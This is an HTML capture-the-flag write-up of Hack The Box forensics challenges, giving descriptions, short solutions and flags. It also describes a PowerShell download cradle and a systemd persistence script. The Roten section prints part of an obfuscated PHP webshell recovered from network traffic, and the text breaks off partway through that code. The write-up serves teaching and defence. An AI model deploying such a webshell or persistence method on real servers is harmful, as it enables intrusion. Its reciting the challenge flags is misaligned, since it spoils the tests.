&lt;details class="toc-inpage d-print-none " open>
&lt;summary class="font-weight-bold">Table of Contents&lt;/summary>
&lt;nav id="TableOfContents">
&lt;ul>
&lt;li>&lt;a href="#plaintext-tleasure">Plaintext Tleasure&lt;/a>&lt;/li>
&lt;li>&lt;a href="#alien-cradle">Alien Cradle&lt;/a>&lt;/li>
&lt;li>&lt;a href="#extraterrestrial-persistence">Extraterrestrial Persistence&lt;/a>&lt;/li>
&lt;li>&lt;a href="#roten">Roten&lt;/a>&lt;/li>
&lt;li>&lt;a href="#relic-maps">Relic Maps&lt;/a>&lt;/li>
&lt;li>&lt;a href="#packet-cyclone">Packet Cyclone&lt;/a>&lt;/li>
&lt;li>&lt;a href="#bashic-ransomware">Bashic Ransomware&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#1-pcap-file">1. Pcap file&lt;/a>&lt;/li>
&lt;li>&lt;a href="#2-bash-script-analyze">2. Bash script analyze&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#original-posts">Original Posts&lt;/a>&lt;/li>
&lt;/ul>
&lt;/nav>
&lt;/details>
&lt;/p>
&lt;h2 id="plaintext-tleasure">Plaintext Tleasure&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://drive.google.com/file/d/1O77S-Ti8GErZxdZoYiTKEWsCBWn6Fp9b/view?usp=sharing" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> Threat intelligence has found that the aliens operate through a command and control server hosted on their infrastructure. Pandora managed to penetrate their defenses and have access to their internal network. Because their server uses HTTP, Pandora captured the network traffic to steal the server&amp;rsquo;s administrator credentials. Open the provided file using Wireshark, and locate the username and password of the admin.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Forensics&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Very Easy&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>We are given a network pcap file. Although we can solve this challenge using &lt;a href="https://www.wireshark.org/" target="_blank" rel="noopener">Wireshark&lt;/a>, but to keep it simple for the very first challenge, we will use &lt;a href="https://www.howtogeek.com/427805/how-to-use-the-strings-command-on-linux/" target="_blank" rel="noopener">strings&lt;/a> and &lt;a href="https://www.geeksforgeeks.org/grep-command-in-unixlinux/" target="_blank" rel="noopener">grep&lt;/a> to get the flag.&lt;/p>
&lt;p>Here we use strings to dump out strings from the pcap file, then use pipe (&lt;code>|&lt;/code>) and grep to find for strings that match the flag format - &lt;code>HTB{&lt;/code>.&lt;/p>
&lt;img src="1.png" alt="linux" width="1000"/>
&lt;p>Flag is: &lt;strong>HTB{th3s3_4l13ns_st1ll_us3_HTTP}&lt;/strong>&lt;/p>
&lt;h2 id="alien-cradle">Alien Cradle&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://drive.google.com/file/d/12HfCz9D5QnpK7kQBwjCINwv29T5sr6Nc/view?usp=sharing" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> In an attempt for the aliens to find more information about the relic, they launched an attack targeting Pandora&amp;rsquo;s close friends and partners that may know any secret information about it. During a recent incident believed to be operated by them, Pandora located a weird PowerShell script from the event logs, otherwise called PowerShell cradle. These scripts are usually used to download and execute the next stage of the attack. However, it seems obfuscated, and Pandora cannot understand it. Can you help her deobfuscate it?&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Forensics&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Very Easy&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>For this challenge, we are given a Powershell Script file. In the script, the flag is being concatenated using some Powershell &lt;del>magic&lt;/del> lines of code.&lt;/p>
&lt;p>Flag is: &lt;strong>HTB{p0w3rsh3ll_Cr4dl3s_c4n_g3t_th3_j0b_d0n3}&lt;/strong>&lt;/p>
&lt;h2 id="extraterrestrial-persistence">Extraterrestrial Persistence&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://drive.google.com/file/d/1-ySd0Z3kKvX3djL228eU0_vddZf4Pdn9/view?usp=sharing" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> There is a rumor that aliens have developed a persistence mechanism that is impossible to detect. After investigating her recently compromised Linux server, Pandora found a possible sample of this mechanism. Can you analyze it and find out how they install their persistence?&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Forensics&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Very Easy&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>In this challenge, we are given a shell script to look for the flag.&lt;/p>
&lt;p>For the sake of understanding the flow of shell scripting, the script checks whether the username is &lt;code>Pandora&lt;/code> and the hostname is &lt;code>linux_HQ&lt;/code>. If the check is fulfilled, it starts the process to write the base64 decoded message into the file &lt;code>/usr/lib/systemd/system/service.service&lt;/code>.&lt;/p>
&lt;p>The decoded message turned out to contain the flag for our challenge.&lt;/p>
&lt;p>Flag is: &lt;strong>HTB{th3s3_4l13nS_4r3_s00000_b4s1c}&lt;/strong>&lt;/p>
&lt;h2 id="roten">Roten&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given zip:&lt;/strong> &lt;a href="https://drive.google.com/drive/folders/1RfJHiudqPA7iTqNqsmIYHRZDYZzu7uEs?usp=share_link" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> The iMoS is responsible for collecting and analyzing targeting data across various galaxies. The data is collected through their webserver, which is accessible to authorized personnel only. However, the iMoS suspects that their webserver has been compromised, and they are unable to locate the source of the breach. They suspect that some kind of shell has been uploaded, but they are unable to find it. The iMoS have provided you with some network data to analyze, its up to you to save us.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Forensics&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Easy&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>After filtering the packets by &lt;code>http.request.method == POST&lt;/code>, we saw an interesting packet there.&lt;/p>
&lt;img src="packets.png" alt="Packets" width="1000"/>
&lt;p>The packet 1929 has a MIME type of &lt;code>application/x-php&lt;/code>, following the HTTP stream to see the php backdoor, we found this interesting php codes:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-php" data-lang="php">&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;lt;?&lt;/span>&lt;span class="nx">php&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$pPziZoJiMpcu&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">82&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$liGBOKxsOGMz&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="k">array&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;&amp;#34;&lt;/span> &lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;&amp;lt;nnyo ea&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">px-aloerl0=e r&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">0&amp;#39; weme Su rgsr s&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">eu&amp;gt;&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">e&amp;#39;Er= elmi)y ]_&amp;#39;t&amp;gt;bde e e =p xt&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> ?ltps vdfic-xetrmsx&amp;#39;l0em0 o&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">oc&amp;amp;&amp;#39;t [r&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">e _e;eV.ncxm&amp;#39;vToil ,F y&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;&amp;lt;r s -&amp;lt;a &lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">op r_P&amp;lt; poeeihaeild /ds&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">se4bsxao1: r]du ;e&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">&amp;#39;o,t dn&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">)i&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">&amp;#39;me&amp;#39;maoate{e I!lb&amp;gt;&amp;#39;u btde .sr ege/ han:t&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;elrlenjl t&amp;gt;( 0&amp;#39;eCdd0 l et0&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#39;seu u it ;e_ dc&amp;gt;ulUd&amp;#39;T&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">xe&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">L&amp;lt;er&amp;lt;.l oh&amp;gt;c ii aert pdt iai(ed.QiJr&lt;/span>&lt;span class="se">\n\$&lt;/span>&lt;span class="s2">i0; 0&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">e0&amp;#39; d= ex ].xp&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">r re &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">wSn&amp;#39;u&amp;lt;lup ]o iluE/=&amp;gt;b&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">t r&amp;gt;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;h rxn ltmb &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#39;-aodd&amp;#39;) bubaa&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">ff0 i0] )- [ &amp;amp;&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">4 ==e[wn (r #iEa tftelF)U sspSb&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">&amp;#39;rd dO o e_t ppso &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">]DpneaC;aoesvp&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">i( }f0 &amp;amp; &amp;#39; &lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">( ]0 =sc&amp;#39;o &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">s #nRmaeoi=oi)p te&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;l[&amp;gt;c;&amp;gt;ia ew agP aw(d i;ep:rto&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">nor/a/&amp;lt;l )&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">( = ?;&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">r&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">0 0 &amp;#39;puwr&lt;/span>&lt;span class="se">\$\$&lt;/span>&lt;span class="s2">d&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> fgVeu&amp;#39;rp&amp;#39;al l s o&amp;#39;&amp;lt;o&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;lt;rs rn &lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> leeetu&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">y f&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">sl (en dtyjS3?e&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2"> ) 0 &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">gem0= xrtrlsdi; l E=t&amp;gt;ma&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">d&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;e{o iafbl&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">b. }ee &amp;lt; ptrchid&amp;gt; cia&amp;#39;&amp;#39;t s qc.p)m{ &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2"> (0&amp;#39; rao0 ) &amp;#39;ieid;ir&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> adR&amp;#39;o&lt;/span>&lt;span class="se">\\&lt;/span>&lt;span class="s2"> r.&amp;#39;&amp;#39;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">a ifdiro &amp;gt;&amp;#39;&lt;/span>&lt;span class="se">\$\n&lt;/span>&lt;span class="s2">dr&amp;lt;t apmh(di&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> ( rctE)&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;e mtlur3h;o m{&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">2x odd0( )n&amp;#39;t[&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">r) gi[dcnat&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2"> d n Dl&amp;gt;r R k}&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">&amp;lt;tr twso&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">(r; i iatx;n iriei.p&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">d&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2"> o m0&amp;#39; u&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">e1&lt;/span>&lt;span class="se">\$\$&lt;/span>&lt;span class="s2"> &amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34; t]e&amp;#39;} ) } r&amp;#39;io&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">c/_in &amp;#39; (ie&amp;#39;: e&amp;amp;e&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;gt;/b&amp;gt; hu( df)&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> s ptap&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">t nabrp6&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> et d&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">o0 p] )ogi?f)&amp;#39;r&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">= &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">=ePrm;tfGda&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34; ]e&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">mrT;r s&amp;amp;ye&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">to&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> (i&lt;/span>&lt;span class="se">\$\&amp;#34;&lt;/span>&lt;span class="s2">ii e s tici - ipryt/&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> y etd): [ &amp;amp; wrf (;]e&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> { cH&amp;#39;p&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">ioE=m [c.oeo&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">e u c hd; &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">dd&amp;lt;rl.c e iohr L fca/ jf &amp;amp;p ye &amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">= ?no(&amp;#39;&lt;/span>&lt;span class="se">\&amp;#34;\n&lt;/span>&lt;span class="s2">,a&lt;/span>&lt;span class="se">\n\$\n&lt;/span>&lt;span class="s2"> HtP leorT&amp;#39;e &amp;#39;h&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">vcU d l&amp;#39;=h &amp;gt;y&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> d(it.e h t onme e idr1-su e &amp;amp;p ?&amp;#39; e 0 eu t% d&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">_ To_vecnm[f= nouetp &lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> t.&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;&amp;gt;o &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;gt; eifrd&amp;#39;o&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">o ( n/es n eny.-/n 0=e e&amp;amp; - x(0&amp;#39;rp&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">&amp;#39;1 &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">&amp;#39;dP BrSath=-&amp;#39;i&amp;#39; a p_ol &amp;gt; &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2"> &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> cri)&amp;gt;/w&amp;lt; &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">i🔛 g &amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;d. 1&amp;gt;bc x&amp;#39;l0= &amp;#39;&amp;#39;&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">e&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">0x[[m s g]iO {yEleo&amp;#39;ddls m&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">luro E}o_&lt;/span>&lt;span class="se">\$\&amp;#34;&lt;/span>&lt;span class="s2">&amp;lt; &amp;lt; h.l &amp;lt;&amp;#39;n/&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> _f ct t c-2&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">ot 2dsx&amp;#39;0w;gcm0&amp;#39;&amp;#39;&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">o:% r,rS W Lu= &lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">aieu&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">e&amp;lt;opya r&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">fG&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;v&amp;lt;t ? o&amp;#39;e.a.et&amp;lt; G Ft;0 h Co-.&amp;lt;oi 0&amp;#39;eAs0&amp;#39;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">ruo2 eed 1 o T 0&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">Fe&amp;#39;&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">.trTbu&amp;#39;bal)d r&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> Eabh p /o &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">rd/ E(ie &amp;#39; :eSm&amp;gt;2stoi0; 0&amp;#39;4 otd):xxe&amp;#39;s u&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">=[ &amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34; w &amp;#39;=o&amp;lt;&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">a&amp;#39;omp]rdo)&amp;#39; o}cTlre h &lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">&amp;#39;w&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">hv(&amp;gt;t Tfltf) xS/&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">/csnf0 i0;0: uee ee T% pw &amp;#39; &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">_.]&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">f/_&amp;#39;]Uil)&amp;gt;Da ] r&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">o[u&amp;gt;a p &amp;lt;.n&amp;lt;ra&lt;/span>&lt;span class="se">\$\\&lt;/span>&lt;span class="s2">a [ie-i; &amp;#39;i b&amp;lt;jrt ( }f0 0 &amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;p&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> ?&amp;#39;cc&amp;amp;&amp;#39;1 [o&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">d dR ..ffS&amp;gt;.pto;&amp;lt;id{[} &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">m&amp;#39;e&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">d &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> t&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">e/eldnb &amp;#39;l sl&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> t-osqirp )&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">( })&amp;#39; []&amp;amp; -uu ;s&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">&amp;#39;r_ii iO&lt;/span>&lt;span class="se">\$\&amp;#34;\$&lt;/span>&lt;span class="s2">&amp;#39;oE&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="se">\\\&amp;#34;&lt;/span>&lt;span class="s2">l&amp;#39;a&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">bre&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#39; uimc);&amp;gt; fidvrtfui&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">l deTte .;-ocupar&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2"> )&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> - &lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> &amp;#39;&amp;#39;tt0&lt;/span>&lt;span class="se">\n\&amp;#34;&lt;/span>&lt;span class="s2">selGrf rtd&amp;#39;d rRn&amp;#39;o&amp;gt;d red nepfam &lt;/span>&lt;span class="se">\n\n&lt;/span>&lt;span class="s2">&amp;lt;o&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;f&amp;gt;a(d=er;e o_rrn h &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;gt;tretpim{ &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2"> ?&amp;#39; w=0w;eex ,.xdE&amp;#39; _i iamV&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">/a&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">D &amp;gt;c_ all nd{? tr &amp;lt;l&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">&amp;gt;&amp;#39;).&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;gt; weaea ef &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">sir .no &amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;m{ ; r 0&amp;#39;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#39;&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">2 =e[T](&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">=Armru&amp;gt;E;&amp;gt;d;i &amp;lt;tf mso(d&amp;#39;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;gt; he(aud&lt;/span>&lt;span class="se">\\\&amp;#34;&lt;/span>&lt;span class="s2"> &amp;#39; &lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> nxnam ai &amp;lt;tpysmtd&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2"> o &amp;#39;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> i(0 ]]0 &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">sc&amp;#39;[;if _ e.t&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">R&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> &amp;#39;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">r boi eeai ] &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> &amp;gt;ai ein../ ; lisme &amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
